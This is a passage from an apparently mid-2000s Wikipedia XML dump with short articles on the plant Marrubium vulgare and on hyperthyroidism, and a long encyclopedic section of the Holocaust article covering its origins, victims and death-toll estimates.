      <timestamp>2004-01-14T00:24:46Z</timestamp>
      <contributor>
        <username>Snoyes</username>
        <id>8289</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Georg Wilhelm Friedrich Hegel]]</text>
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  </page>
  <page>
    <title>Marrubium vulgare</title>
    <id>13490</id>
    <revision>
      <id>41900229</id>
      <timestamp>2006-03-02T13:53:45Z</timestamp>
      <contributor>
        <ip>89.51.60.252</ip>
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      <comment>commons</comment>
      <text xml:space="preserve">{{Taxobox
| color = lightgreen
| name = ''Marrubium vulgare''
| image = Marrubium_vulgare0.jpg
| image_width = 240px
| image_caption = ''Marrubium vulgare'' flowers
| regnum = [[Plant]]ae
| divisio = [[flowering plant|Magnoliophyta]]
| classis = [[dicotyledon|Magnoliopsida]]
| ordo = [[Lamiales]]
| familia = [[Lamiaceae]]
| genus = ''[[Marrubium]]''
| species = '''''M. vulgare'''''
| binomial = ''Marrubium vulgare''
| binomial_authority = [[Carolus Linnaeus|L.]]
}}

'''''Marrubium vulgare''''' ('''White Horehound''' or '''Common Horehound''') is a [[flowering plant]] in the family [[Lamiaceae]], native to [[Europe]], northern [[Africa]] and [[Asia]].

It is a greyish-leaved [[herbaceous]] [[perennial plant]], somewhat resembling [[mint]] in appearance, which grows to 25-45 cm tall. The [[leaf|leaves]] are 2-5 cm long with a densely crinkled surface, and downy-hairy. The [[flower]]s are white, borne in clusters on the upper part of the main stem

White Horehound was traditionally used in the manufacture of cough remedies and hard candy.

&lt;gallery&gt;
Image:Marrubium vulgare.jpg|foliage of young plants
Image:Horehound bug.jpg|Horehound bug, a common [[insect]] that feeds on White Horehound
&lt;/gallery&gt;

== External links ==
{{commons|Marrubium vulgare}}
* [http://www.botanical.com/botanical/mgmh/h/horwhi33.html White Horehound]

[[Category:Herbs]]
[[Category:Lamiaceae]]
[[Category:Medicinal herbs and fungi]]

[[nl:Malrove]]
[[fi:Hurtanminttu]]
[[de:Andorn]]</text>
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  <page>
    <title>Hyperthyroidism</title>
    <id>13492</id>
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      <id>41941773</id>
      <timestamp>2006-03-02T19:56:57Z</timestamp>
      <contributor>
        <username>Arcadian</username>
        <id>104523</id>
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      <comment>clean up using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">{{DiseaseDisorder infobox |
  Name        = Hyperthyroidism |
  ICD10       = E05 |
  ICD9        = {{ICD9|242}}, {{ICD9|775.3}} |
}}

'''Hyperthyroidism''' (or &quot;overactive [[thyroid]] gland&quot;) is the clinical [[syndrome]] caused by an excess of circulating free [[thyroxine]] (T4) or free [[triiodothyronine]] (T3), or both. 

==Causes==
Major causes in humans are:
* [[Graves' disease]] (the most common etiology with 70-80%)
* [[Toxic thyroid adenoma]]
* [[Toxic multinodular goitre]]

Other causes of [[hyperthyroxinemia]] (high blood levels of thyroid hormones) are not to be confused with true hyperthyroidism and include subacute and other forms of [[thyroiditis]] (inflammation). Thyrotoxicosis (symptoms caused by hyperthyroxinemia) can occur in both hyperthyroidism and thyroiditis. When it causes acutely increased metabolism, it is sometimes called &quot;thyroid storm&quot;.

==Signs and symptoms==
Major clinical features in humans are [[weight loss]] (often accompanied by a ravenous [[appetite]]), [[fatigue (physical)|fatigue]], weakness, hyperactivity, irritability, [[apathy]], [[clinical depression|depression]], [[polyuria]], and sweating. Additionally, patients may present with a variety of symptoms such as [[palpitations]] and [[arrhythmia]]s (notably [[atrial fibrillation]]), [[dyspnea]], loss of [[libido]], [[nausea]], [[vomiting]], and [[diarrhea]]. In the elderly, these classical symptoms may not be present and they may present only with fatigue and weight loss leading to apathetic hyperthyroidism

Neurological manifestations are [[tremor]], [[Chorea (disease)|chorea]], [[myopathy]], and [[periodic paralysis]]. [[Stroke]] of cardioembolic origin due to coexisting [[atrial fibrillation]] may be mentioned as one of the most serious complications of hyperthyroidism.

As to other autoimmune disorders related with thyrotoxicosis, an association between thyroid disease and [[myasthenia gravis]] has been well recognised. The thyroid disease, in this condition, is often an autoimmune one and approximately 5% of patients with myasthenia gravis also have hyperthyroidism. Myasthenia gravis rarely improves after thyroid treatment and relation between two entities is yet unknown. Some very rare neurological manifestations that are reported to be dubiously associated with thyrotoxicosis are [[pseudotumor cerebri]], [[amyotrophic lateral sclerosis]] and a [[Guillain-Barré syndrome|Guillain-Barré]]-like syndrome.

== Diagnosis ==
A diagnosis is suspected through blood tests, by measuring the level of TSH (thyroid stimulating hormone) in the blood. If TSH is low, there is likely to be increased production of T4 and/or T3. Measuring specific [[antibody|antibodies]], such as anti-TSH-receptor antibodies in Graves' disease, may contribute to the diagnosis. In all patients with hyperthyroxinemia, [[scintigraphy]] is required in order to distinguish true hyperthyroidism from thyroiditis.

== Treatment ==
The major and generally accepted modalities for treatment of hyperthyroidism
in humans are:

===Surgery===
[[Surgery]] (to remove the whole thyroid or a part of it) is not extensively used because most common forms of hyperthyroidism are quite effectively treated by the radioactive iodine method. However, some Graves' disease patients who cannot tolerate medicines for one reason or another or patients who refuse radioiodine opt for surgical intervention. The procedure is relatively safe - some surgeons are even treating partial thyroidectomy on an out-patient basis.

===Radioiodine===
In [[Radioiodine]] ([[radioiodine treatment|treatment]]) therapy, radioactive iodine is given orally (either by pill or liquid) on a one-time basis to ablate a hyperactive gland. The iodine given for ablative treatment is different from the iodine used in a scan. Radioactive iodine is given after a routine iodine scan, and uptake of the iodine is determined to confirm hyperthyroidism. The radioactive iodine is picked up by the active cells in the thyroid and destroys them. Since iodine is only picked up by thyroid cells, the destruction is local, and there are no widespread side effects with this therapy. Radioactive iodine ablation has been safely used for over 50 years, and the only major reasons for not using it are pregnancy and breast-feeding.

Often, due to the difficulty of picking the correct dose, the treatment results in an opposite condition - [[hypothyroidism]]. However, that is usually easily treated by the administration of [[levothyroxine]], which is a pure synthetic form of T4.

===Thyrostatics===
[[Thyrostatics]] are drugs that inhibit the production of thyroid hormones, such as [[methimazole]] (Tapazole®) or PTU ([[propylthiouracil]]). Thyrostatics are believed to work by inhibiting the iodination of thyroglobulin by thyroperoxidase.

If too high a dose is used in pharmacological treatment, patients can develop symptoms of [[hypothyroidism]]. Hypothyroidism is also a very common result of surgery or radiation treatment as it is difficult to gauge how much of the thyroid gland should be removed. Supplementation with [[levothyroxine]] may be required in these cases.

==Veterinary medicine==
In [[veterinary medicine]], ''hyperthyroidism'' is one of the most common endocrine conditions affecting older domesticated [[cat]]s.  The disease has become significantly more common since the first reports of feline hyperthyroidism in the [[1970s]].  In cats, it is almost always caused by a benign thyroid [[adenoma]].

The most common presenting symptoms are: rapid [[weight loss]], [[rapid heart rate]], [[vomiting]], [[diarrhoea]], [[increased water consumption]] and [[increased urine production]].

The same three treatments used with humans are also options in treating feline hyperthyroidism (surgery, radioiodine treatment, and anti-thyroid drugs).  Drugs must be given to cats for the remainder of their lives, but may be the least expensive option, especially for very old cats.  Radioiodine treatment and surgery often cure hyperthyroidism.  Some veterinarians prefer radioiodine treatment over surgery because it does not carry the risks associated with [[anesthesia]].  Radioiodine treatment, however, is not available in all areas. [http://www.winnfelinehealth.org/health/hyperthyroidism.html]

==See also==
*[[Carbimazole]]
*[[hypothyroidism]]

==References==
*[http://www.winnfelinehealth.org/health/hyperthyroidism.html Winn Feline Foundation: Article on feline hyperthyroidism]

==External links==
* [http://www.mediprimer.com/Endocrinology/hyperthyroidism/ Hyperthyroidism Primer]
* [http://www.nlm.nih.gov/medlineplus/ency/article/000356.htm NIH/Medline Plus]
* [http://www.merck.com/mrkshared/mmanual/section2/chapter8/8d.jsp Merck]
* [http://www.mayoclinic.com/health/hyperthyroidism/DS00344 Mayo Clinic]
* [http://www.emedicine.com/MED/topic1109.htm eMedicine]

[[Category:Endocrinology]]
[[Category:Dog health]]
[[Category:Cat health]]

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    <title>History of Great Britain</title>
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      <minor />
      <text xml:space="preserve">'''History of Great Britain''' (volume 1) is a book by [[David Hume]] published in 1754.

For topics on the '''History of Great Britain''', see [[History of Britain]].

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    <title>History of wiki</title>
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    <title>Henry VIII</title>
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    <title>Switzerland/History</title>
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      <text xml:space="preserve">{{dablink|This article deals with the Holocaust committed by the [[Nazi Germany|Nazis]]. For other meanings of the word Holocaust see [[Holocaust (disambiguation)]]}}
[[image:Selection Birkenau ramp.jpg|right|thumb|250px|Selection at the [[Auschwitz-Birkenau|Auschwitz]] ramp in 1944, where the Nazis chose whom to kill immediately and whom to use as [[slavery|slave labor]] or for [[Nazi human experimentation|medical experimentation]]. The entrance to the main camp is in the background. Between 1.1 and 1.6 million people were killed at Auschwitz; over 90% of the victims were Jews.]]

The '''Holocaust''' is the name applied to the systematic state-sponsored [[persecution]] and [[genocide]] of the [[Jew]]s of Europe along with other groups during [[World War II]] by [[Nazi Germany]] and  [[The Holocaust#Who was directly involved in the killings?|collaborators]]{{ref|whatis}}. Early elements of the Holocaust include the [[Kristallnacht]] [[pogrom]] and the [[T-4 Euthanasia Program]], progressing to the later use of [[Einsatzgruppen|killing squads]] and [[extermination camps]] in a massive and centrally organized effort to exterminate every possible member of the populations targeted by the [[Nazis]].

The [[Jew]]s of Europe were the main victims of the Holocaust in what the Nazis called the &quot;[[Final Solution|Final Solution of the Jewish Question]]&quot;. The commonly used figure for the number of Jewish victims is [[6000000 (number)|six million]], so much so that the phrase &quot;six million&quot; is now almost universally interpreted as referring to the Jewish victims of the Holocaust, though estimates by historians using, among other sources, records from the [[Nazi]] regime itself, range from five million to seven million.

About 220,000 [[Sinti]] and [[Roma people|Roma]] were killed in the Holocaust (some estimates are as high as 800,000), between a quarter to a half of the European population. Other groups deemed &quot;racially inferior&quot; or &quot;undesirable&quot;: [[Soviet]] military [[prisoners of war]] and civilians on occupied territories including [[Russians]] and other [[Slavs]], [[Poles]] (3 million Polish Jews, and 2 million Polish gentiles, total 5 million Poles killed in Holocaust), the mentally or physically [[disability|disabled]], [[homosexuality|homosexuals]], [[Jehovah's Witnesses]], [[Communist]]s and political [[dissident]]s, [[trade union]]ists, some [[Catholic]] and [[Protestant]] clergy, were also [[persecution|persecuted]] and killed.  Many scholars do not include the Nazi persecution of all of these groups in the definition of the Holocaust, with some scholars limiting the Holocaust to the genocide of the Jews; some to genocide of the Jews, Roma, and disabled; and some to all groups targeted by Nazi racism.{{ref|whichgroups}} Taking all these other groups into account, however, the total death toll rises considerably, estimates generally place the total number of Holocaust victims at 9 to 11 million, though some estimates have been as high as 26 million.{{ref|totalkilled}}

{{The Holocaust}}

== Etymology and usage of the term ==
{{main|Names of the Holocaust}}
The word ''holocaust'' originally derived from the [[Greek Language|Greek]] word ''[[Holocaust (sacrifice)|holokauston]]'', meaning  &quot;a completely (holos) burnt (kaustos) sacrificial offering&quot; to a god. Since the late 19th century, &quot;holocaust&quot; has primarily been used to refer to disasters or catastrophes. According to the [[Oxford English Dictionary]], the word was first used to describe Hitler's treatment of the Jews from as early as 1942, though did not become a standard reference until the 1950s. By the late 1970s, however, the conventional meaning of the word became the Nazi genocide. The term is also used by many in a narrower sense, to refer specifically to the unprecedented destruction of European Jewry in particular.

The biblical word '''''Shoa''''' (שואה), also spelled '''''Shoah''''' and '''''Sho'ah''''', meaning &quot;calamity&quot; in [[Hebrew language|Hebrew]], became the standard Hebrew term for the Holocaust as early as the early 1940s.{{ref|shoah}} ''Shoa'' is preferred by many [[Jew]]s and a growing number of others for a number of reasons, including the potentially [[theologically]] offensive nature of the original meaning of the word ''holocaust''.

[[Image:Children in the Holocaust concentration camp liberated by Red Army.jpg|thumb|right|200px|Child survivors of the Holocaust filmed during the liberation of [[Auschwitz concentration camp]] by the [[Red Army]]. January, 1945]]

==Features of the Nazi Holocaust==
There were several characteristics to the Nazi Holocaust which, taken together, distinguish it from other [[genocides in history]].

===Premeditation===
In 1904, [[Alfred Ploetz]] founded the German Eugenics Society. Sixteen years later, a work seminal to the development of the German [[eugenics]] movement, ''The Permission to Destroy Life Unworthy of Life'', was published. Written by [[Karl Binding]], a widely respected judge, and renowned [[Psychiatry|psychiatrist]] [[Alfred Hoche]], the work was key to the formulation of Nazi ideology, rhetoric and practice:

:''[It] defended the theory which stated that the elimination of &quot;worthless people&quot; should be legalized. Thus the concepts of &quot;worthless life&quot; or &quot;life unworthy of life&quot; used by the Nazis come from that book. Binding and Hoche speak in that book about &quot;worthless human beings&quot;. [Binding and Hoche] plead for &quot;the elimination of those who cannot be saved, ... whose death is an urgent need&quot; ... [and] about those who are below the beast[s] [with] &quot;neither the will to live nor to die&quot;. [The book also refers] to those who are &quot;mentally dead&quot; and who form &quot;a foreign body to the human society&quot;.''{{ref|trdd}}

The work of Ploetz and the words of Binding and Hoche were both foreshadows of Hitler's &quot;final solution&quot; two decades later.
[[Image:Einsengruppen.gif|thumb|200px|right|Locations of mass killings carried out by the Nazi [[Einsatzgruppen]] death squads in [[Eastern Europe]].]]
The Holocaust was an intentional and meticulously planned attempt to entirely eradicate the target groups based on ethnicity. It is estimated that ''die Endlösung der Judenfrage'' (the [[Final Solution]] of the Jewish Question), as the Nazis called it during the [[Wannsee conference]] of January 1942, saw the extermination of 64 percent of all the Jews in Europe, or 35 percent of the world's Jewish population.

In a speech in October 1943, [[Heinrich Himmler]], the [[Reichsführer]] of the [[Schutzstaffel]] ([[SS]]), told a group of senior SS men and [[Nazi]] party leaders: &quot;What about the women and children? I decided to find an absolutely clear solution here too. I regard myself as having no right to exterminate (''ausrotten'') the men&amp;mdash;in other words, to kill them or have them killed&amp;mdash;and to let the avengers in the form of the children grow up for our sons and grandsons to deal with. The difficult decision had to be taken to make these people disappear from the earth.&quot;

The Holocaust was justified by claiming that the victims were ''[[Untermensch]]en'', i.e., 'underlings' or 'subhumans', who were seen as both biologically inferior and (in the case of Jews) a potential challenge to the superiority of the '[[Aryan]]s'. Its perpetrators saw it as a form of eugenics&amp;mdash;the creation of a better race by eliminating the designated &quot;unfit&quot;&amp;mdash;along the same lines as their programs of [[compulsory sterilization]], [[T-4 Euthanasia Program|compulsory euthanasia]], and &quot;[[racial hygiene]]&quot;.

===Efficiency===
[[Image:Ghettos.gif|thumb|200px|right|[[Ghettos]] established in Europe in which Jews were confined, in ghettos and later in temporary concentration locations and later shipped to extermination camps.]]
The Holocaust was characterized by the efficient and systematic attempt on an industrial scale to assemble and kill as many people as possible, using all of the resources and technology available to the Nazi state.
[[Image:Hoefletelegram.jpg|right|thumb|left|250px|The Nazis methodically tracked the progress of the Holocaust in thousands of reports and documents.  Pictured is the [[Höfle Telegram]] sent to [[Adolf Eichmann]] in January, 1943, that reported that 1,274,166 Jews had been killed in the four [[Aktion Reinhard]] camps during 1942.]]
For example, detailed lists of potential victims were made and maintained using [[Dehomag]] statistical machinery, and meticulous records of the killings were produced. As prisoners entered the death camps, they were made to surrender all personal property to the Nazis, which was then precisely catalogued and tagged, and for which receipts were issued. In addition, considerable effort was expended over the course of the Holocaust to find increasingly efficient means of killing more people; for example, by switching from [[carbon monoxide]] poisoning in the [[Aktion Reinhard]] death camps of [[Belzec extermination camp|Belzec]], [[Sobibór extermination camp|Sobibór]], and [[Treblinka extermination camp|Treblinka]] to the use of [[Zyklon B]] at [[Majdanek]] and [[Auschwitz concentration camp|Auschwitz]].

In his book ''Russia's War'', British historian [[Richard Overy]] describes how the Nazis sought more efficient ways to kill people. In 1941, after occupying [[Belarus]], they used mental patients from [[Minsk]] [[asylum]]s as guinea pigs. Initially, they tried shooting them by having them stand one behind the other, so that several people could be killed with one bullet, but it was too slow. Then they tried [[dynamite]], but few were killed and many were left wounded with hands and legs missing, so that the Germans had to finish them off with machine guns. In October 1941, in [[Mogilev]], they tried the ''Gaswagen'' or &quot;gas car&quot;. First they used a light military car, and it took more than 30 minutes for people to die. Then they used a larger truck exhaust and it took only eight minutes to kill all the people inside.{{ref|overy}}

Alleged corporate involvement in the Holocaust has created significant controversy in recent years. [[Rudolf Hoess]], Auschwitz camp commandant, said that far from having to advertise their slave labour services, the concentration camps were actually approached by various large German businesses, some of which are still in existence. Technology developed by [[IBM]] also played a role in the categorization of prisoners, through the use of index machines

===Scale===
[[Image:Massdeportations.gif|thumb|200px|right|Major deportation routes to the [[extermination camps]] in Europe.]]
The Holocaust was geographically widespread and systematically conducted in virtually all areas of Nazi-occupied territory, where Jews and other  victims were targeted in what are now 35 separate European nations, and sent to labor camps in some nations or [[extermination camps]] in others. The mass killing was at its worst in Central and Eastern Europe, which had more than 7 million Jews in 1939; about 5 million Jews were killed there, including 3 million in Poland and over 1 million in the Soviet Union. Hundreds of thousands also died in the Netherlands, France, Belgium, Yugoslavia, and Greece. 

Documented evidence suggests that the Nazis planned to carry out their 'final solution' in other regions if they were conquered, such as [[Britain]] and [[Ireland]]. {{ref|gilbert1}}. The extermination continued in different parts of Nazi-controlled territory until the end of [[World War II]], only completely ending when the Allies entered Germany itself and forced the Nazis to surrender in May 1945.

===Cruelty===
The Holocaust was carried out without any mercy or reprieve for children or babies, and victims were often made to suffer before finally being killed.  Nazis carried out cruel and deadly [[Nazi human experimentation|medical experiments]] on prisoners, including children. Dr. [[Josef Mengele]], medical officer at Auschwitz and chief medical officer at [[Birkenau]], was known as the &quot;Angel of Death&quot; for his cruel and bizarre medical and [[eugenics]] experiments, e.g., trying to change people's eye colour by injecting dye into their eyes. Many of these experiments were intended to produce 'racially pure' babies and as research into weapons and techniques of war. Another way the Nazis killed Jews were by putting them in tanks and dropping gas on them for short periods of time.  Many of these prisoners did not survive. Day to day life in the [[concentration camp]]s was also brutal, with the Nazis regularly carrying out beatings and acts of torture.

== Victims ==
The victims of the Holocaust were [[Jew]]s, [[Poles]], [[Russians]], [[Communist]]s, [[homosexuality|homosexuals]], [[Roma (people)|Roma]] (also known as [[gypsies]]), the [[mentally ill]] and the physically [[disabled]], [[intelligentsia]] and political activists, [[Jehovah's Witnesses and the Holocaust|Jehovah's Witnesses]], some [[Catholic]] and [[Protestant]] clergy, [[trade union]]ists, [[psychiatric]] patients, some [[African]]s, common [[criminal]]s and people labeled as &quot;enemies of the state&quot;. These victims all perished alongside one another in the camps, according to the extensive documentation left behind by the Nazis themselves (written and photographed), eyewitness testimony (by survivors, perpetrators, and bystanders), and the statistical records of the various countries under occupation. 

=== Jews ===
[[Image:Vienna 1938 pavement scrub.jpg|thumb|150px|left|Nazis in uniform in Vienna, Austria 1938 mock Jews forced to scrub streets]]

[[Anti-Semitism]] was common in Europe in the 1920s and 1930s (though its roots go back much further). [[Adolf Hitler]]'s fanatical brand of racial anti-Semitism was laid out in his 1925 book ''[[Mein Kampf]]'', which, though largely ignored when it was first printed, became a bestseller in Germany once Hitler acquired political power. This Anti-Semitism was echoed by Nazi groups such as the [[Sturmabteilung]] by songs like &quot;When Jewish blood drips off the blade&quot; and the rallying cry &quot;Juda verrecke&quot; (Perish the Jew).

On [[April 1]], [[1933]], shortly after Hitler's [[Machtergreifung|accession to power]], the [[Nazism|Nazis]], led mainly by [[Julius Streicher]], and the [[Sturmabteilung]], organized a one-day boycott of all Jewish-owned businesses in [[Germany]]. A series of increasingly harsh racist laws were soon passed in quick succession. Under the “[[Law for the Restoration of the Professional Civil Service]]”, passed by the [[Reichstag]] on [[April 7]] [[1933]], all Jewish civil servants at the ''Reich'', ''Länder'', and municipal levels of government were fired immediately. The &quot;Law for the Restoration of a Professional Civil Service&quot; marked the first time since Germany's unification in 1871 that an anti-Semitic law had been passed in Germany. This was followed by the [[Nuremberg Laws]] of 1935 that prevented marriage between any Jew and non-Jew, and stripped all Jews of German citizenships (their official title became &quot;[[subject of the state]]&quot;) and of their basic civil rights, e.g., to vote. 

In 1936, Jews were banned from all professional jobs, effectively preventing them exerting any influence in education, politics, higher education and industry. On [[15 November]] of 1938, Jewish children were banned from going to normal schools. By April 1939, nearly all Jewish companies had either collapsed under financial pressure and declining profits, or had been forced to sell out to the Nazi-German government as part of the &quot;Aryanization &quot; policy inaugurated in 1937.

[[Image:Himmler Hitler.jpg|frame|100px|right|[[Heinrich Himmler]] (left), leader of the [[Schutzstaffel|SS]] (responsible for rounding up Jews), with [[Adolf Hitler]] (right).]]
As the war started, large massacres of Jews took place, and, by December 1941, Hitler decided to completely exterminate European Jews. In January 1942, during the [[Wannsee conference]], several Nazi leaders discussed the details of the &quot;[[final solution|Final Solution of the Jewish question]]&quot; (''Endlösung der Judenfrage''). [[Dr. Josef Bühler]] urged [[Reinhard Heydrich]] to proceed with the Final Solution in the [[General Government]]. They began to systematically deport Jewish populations from the ghettos and all occupied territories to the seven camps designated as ''Vernichtungslager,'' or [[extermination camp]]s: [[Auschwitz concentration camp|Auschwitz]], [[Belzec extermination camp|Belzec]], [[Chelmno concentration camp|Chelmno]], [[Majdanek]], [[Maly Trostenets extermination camp|Maly Trostenets]], [[Sobibór extermination camp|Sobibór]] and [[Treblinka extermination camp|Treblinka II]]. [[Sebastian Haffner]] published the analysis in 1978 that Hitler from December 1941 accepted the failure of his goal to dominate Europe forever on his declaration of war against the [[United States]], but that his withdrawal and apparent calm thereafter was sustained by the achievement of his second goal—the extermination of the Jews.{{ref|Haffner}}

Even as the Nazi war machine faltered in the last years of the war, precious military resources such as fuel, transport, munitions, soldiers and industrial resources were still being heavily diverted away from the war and towards the death camps.

By the end of the war, much of the Jewish population of Europe had been killed in the Holocaust.  Poland, home of the largest Jewish community in the world before the war, had had over 90% of its Jewish population, or about 3,000,000 Jews, killed.  Greece, Yugoslavia, Hungary, Lithuania, Bohemia, the Netherlands, Slovakia, and Latvia each had over 70% of their Jewish population destroyed. [[Belgium]], [[Romania]], [[Luxembourg]], [[Norway]], and [[Estonia]] lost around half of their Jewish population, the Soviet Union over one third of its Jews, and even countries such as France and Italy had each seen around a quarter of their Jewish population killed.  Some [[Jews outside Europe under Nazi occupation]] were also affected by the Holocaust and treatment from the Nazis.

=== Slavs ===
[[Poles]]  were one of the first targets of extermination by Hitler, as outlined in the [[Armenian quote|speech]] he gave the Wehrmacht commanders before the [[Polish September Campaign|invasion of Poland]] in 1939. The [[intelligentsia]] and socially prominent or influential people were primarily targeted, although there were some [[mass murder]]s committed [[World War II atrocities in Poland|against the general population]], as well as against other groups of Slavs. The Nazi occupation of Poland ([[General Government]], [[Reichsgau Wartheland]]) was one of the most brutal episodes of World War Two, resulting in 1.8-1.9 million non-Jewish deaths in addition to three million Polish [[Jew]]s. Scholars disagree as to what proportion of these non-Jewish Polish civilian deaths during the Nazi conquest and occupation of Poland were part of the Holocaust, though there is no doubt of the eventual genocidal intentions of the Nazis towards the Poles.  At least 140,000 Poles were sent to Auschwitz, and the [[Intelligentsia#Intelligentsia_in_Poland|Polish intelligentsia]] were the first targets of the [[Einsatzgruppen]] death squads.{{ref|polesauschwitz}}

During [[Operation Barbarossa]], the [[Axis Powers|Axis]] invasion of the Soviet Union, hundreds of thousands (if not millions) of [[Red Army]] [[prisoners of war]] were arbitrarily executed in the field by the invading German armies (in particular by the notorious [[Waffen SS]]), died under inhuman conditions in German prisoner-of-war camps, or were shipped to extermination camps for execution simply because they were of Slavic extraction. Thousands of Soviet peasant villages were annihilated by German troops for more or less the same reason.  Bodan Wytwycky estimated that as many as one quarter of all Soviet civilian deaths at the hands of the Nazis and their allies were racially motivated, or 3 million [[Ukrainian]] deaths and 1.5 million [[Belarus|Belarusian]] deaths.{{ref|soviet}}

At the same time, not all Slavs were targeted by the Nazis.  The Slavs of Croatia and Slovakia were allies of Nazi Germany, and participated as collaborators in the Holocaust.

=== Roma, Sinti, and Manush ('Gypsies') ===
{{main|Porajmos}}
[[Image:Porajmos.jpg|thumb|250px|Gypsy arrivals in the [[Belzec]] death camp await instructions]]

Proportional to their population, the death toll of Romanies ([[Roma]], [[Sinti]], and [[Manush]]) in the Holocaust was the worst of any group of victims. Hitler's campaign of [[genocide]] against the Romani population of Europe involved a particularly bizarre application of Nazi &quot;[[racial hygiene]]&quot;. Although, despite discriminatory measures, some Romani groups, including some of the [[Sinti]] and [[Lalleri]] of Germany, were spared deportation and death, the remaining Romani groups suffered much like the Jews. Between a quarter and a half of the Romani population was killed, upwards of 220,000 people.{{ref|hancock}} In [[Eastern Europe]], Roma were deported to the Jewish ghettoes, shot by SS ''Einsatzgruppen'' in their villages, and deported and gassed in Auschwitz and Treblinka.

=== Communists ===

About 100,000 [[communism|communists]] were killed. There had been earlier attempts at sterilizing them using X-rays.

===Gay men===
{{main|History of Gays during the Holocaust}}

Gay ([[Homosexuality|homosexual]]) men were also targets of the Holocaust, as homosexuality was deemed incompatible with [[Nazism]] because of their failure to reproduce the &quot;master race.&quot; This was combined with [[homophobia]] and the belief among the Nazis that homosexuality could be contagious.

Initially homosexuality was discreetly tolerated while officially shunned, and the early Nazi leadership included a number of known homosexuals. By 1936, however, homosexual members of the party had been purged and [[Heinrich Himmler]] led an effort to persecute gays under existing and new anti-gay laws.

More than one million gay German men were targeted, of whom at least 100,000 were arrested and 50,000 were serving prison terms as convicted gay men. An additional unknown number were institutionalized in state-run mental hospitals. Hundreds of European gay men living under Nazi occupation were castrated under court order. The deaths of at least an estimated 15,000 gay men in concentration camps were officially documented, but it is difficult to put an exact number on just how many gay men perished in death camps. Some gay men were also used in medical experiments. According to Heinz Heger, in the concentration camps gay men &quot;suffered a higher mortality rate than other relatively small victim groups, such as Jehovah's Witnesses and political prisoners.&quot;{{ref|pinktriangle}}. Lesbians were not normally treated as harshly as gay men. They were labeled &quot;anti-social,&quot; but were rarely sent to camps for the engaging in homosexuality.

===Religious groups=== 
The Nazis also targeted some religious groups, though no religious group (outside of the Jews) was actually targeted for extermination during the Holocaust. Around 1,200 [[Jehovah's Witnesses]] perished in concentration camps, where they were held for political and ideological reasons (see [[Jehovah's Witnesses and the Holocaust]]).  Additionally, some members of the Catholic clergy were killed by the Nazis, most of these were either of Jewish background, as in the case of [[Edith Stein]], or they were killed as part of the Nazis campaign against the Polish intelligensia. Some dissenting Protestant clergy, such as those who founded the anti-Nazi [[Confessing Church]], were also persecuted.

===Disabled people===
Several hundred thousand mentally and physically disabled people also were exterminated. The Nazis believed that the disabled were a burden to society because they needed to be cared for by others, but first and foremost, the mentally and physically handicapped were considered an affront to Nazi notions of a society peopled by a perfect, superhuman Aryan race. Around 400,000 individuals were [[compulsory sterilization|sterilized against their will]] for having mental deficiencies or illnesses deemed to be hereditary in nature. People with disabilities were among the first to be killed, and the United States Holocaust Memorial museum notes that the T-4 Program became the &quot;model&quot; for future exterminations by the Nazi regime.{{ref|euth}} The [[T-4 Euthanasia Program]] was established in 1939 in order to maintain the &quot;purity&quot; of the so-called [[Aryan race|Aryan]] race by systematically killing children and adults born with physical deformities or suffering from mental illness.

===Others===
[[Blacks|Black]] and [[Asian]] residents in Germany, and black prisoners of war, were also victims; often being singled out in internment camps. {{ref|blacks}}  However, [[Japan]] was part of the Axis Pact with Germany, and no Japanese were known to be deliberately imprisoned or killed.

== Death toll ==
[[Image:Gen Eisenhower at death camp report.jpg|thumb|275px|right|General (later US President) [[Dwight Eisenhower]] inspecting prisoners' corpses at a liberated concentration camp, 1945]]
The exact number of people killed by the Nazi regime may never be known, but scholars, using a variety of methods of determining the death toll, have generally agreed upon common range of the number of victims. Recently declassified [[United Kingdom|British]] and [[Soviet Union|Soviet]] documents have indicated the total may be somewhat higher than previously believed{{ref|JP}}. However, the following estimates are considered to be highly reliable. The estimates:

* 5.1&amp;ndash;6.0 million Jews, including 3.0&amp;ndash;3.5 million Polish Jews{{ref|howmany}}
* 1.8 &amp;ndash;1.9 million [[Gentile]] Poles (includes all those killed in executions or those that died in prisons, labor, and concentration camps, as well as civilians killed in the 1939 invasion and the 1944 [[Warsaw Uprising]]){{ref|polishvictims}}
* 200,000&amp;ndash;800,000 Roma &amp; Sinti
* 200,000&amp;ndash;300,000 people with disabilities
* 10,000&amp;ndash;25,000 homosexual men
* 2,000 Jehovah's Witnesses

[[Raul Hilberg]], in the third edition of his ground-breaking three-volume work, ''[[The Destruction of the European Jews]]'', estimates that 5.1 million Jews died during the Holocaust. This figure includes &quot;over 800,000&quot; who died from &quot;Ghettoization and general privation;&quot; 1,400,000 who were killed in &quot;Open-air shootings;&quot; and &quot;up to 2,900,000&quot; who perished in camps. Hilberg estimates the death toll in Poland at &quot;up to 3,000,000.&quot;{{ref|Hilberg}} } Hilberg's numbers are generally considered to be a conservative estimate, as they generally include only those deaths for which some records are available, avoiding statistical adjustment.{{ref|Hilberg2}} British historian [[Martin Gilbert]] used a similar approach in his ''Atlas of the Holocaust,'' but arrived at a number of 5.75 million Jewish victims, since he estimated higher numbers of Jews killed in Russia and other locations.{{ref|Gilbert}}

[[Image:Coffinmap.jpg|thumb|275px|right|Map titled &quot;Jewish Executions Carried Out by [[Einsatzgruppe]] A&quot; from the December 1941 [[Einsatzgruppen#The_Jager_Report|Jager Report]] by the commander of a [[Einsatzgruppen|Nazi death squad]]. Marked &quot;Secret Reich Matter,&quot; the map shows the number of Jews shot in the [[Baltic countries|Baltic region]], and reads at the bottom: ''&quot;the estimated number of Jews still on hand is 128,000&quot;''. [[Estonia]] is marked as ''[[judenfrei]]''.]]

[[Lucy Davidowicz]] used pre-war census figures to estimate that 5.934 million Jews died. Using official census counts may cause an underestimate since many births and deaths were not recorded in small towns and villages. Another reason some consider her estimate too low is that many records were destroyed during the war.  Her listing of deaths by country is available in the article about her book, ''[[The War Against the Jews]]''.{{Ref|Davidowicz}}

One of the most authoritative German scholars of the Holocaust, Prof. Wolfgang Benz of the Technical University of Berlin, cites between 5.3 and 6.2 million Jews killed in ''Dimension des Volksmords'' (1991), while Yisrael Gutman and Robert Rozett estimate between 5.59 and 5.86 million Jewish victims in their ''Encyclopedia of the Holocaust'' (1990).{{ref|BenzGutman}}

The following groups of people were also killed by the Nazi regime, but there is little evidence that the Nazis planned to systematically target them for genocide as was the case for the groups above.

* 3.5&amp;ndash;6 million other Slavic civilians
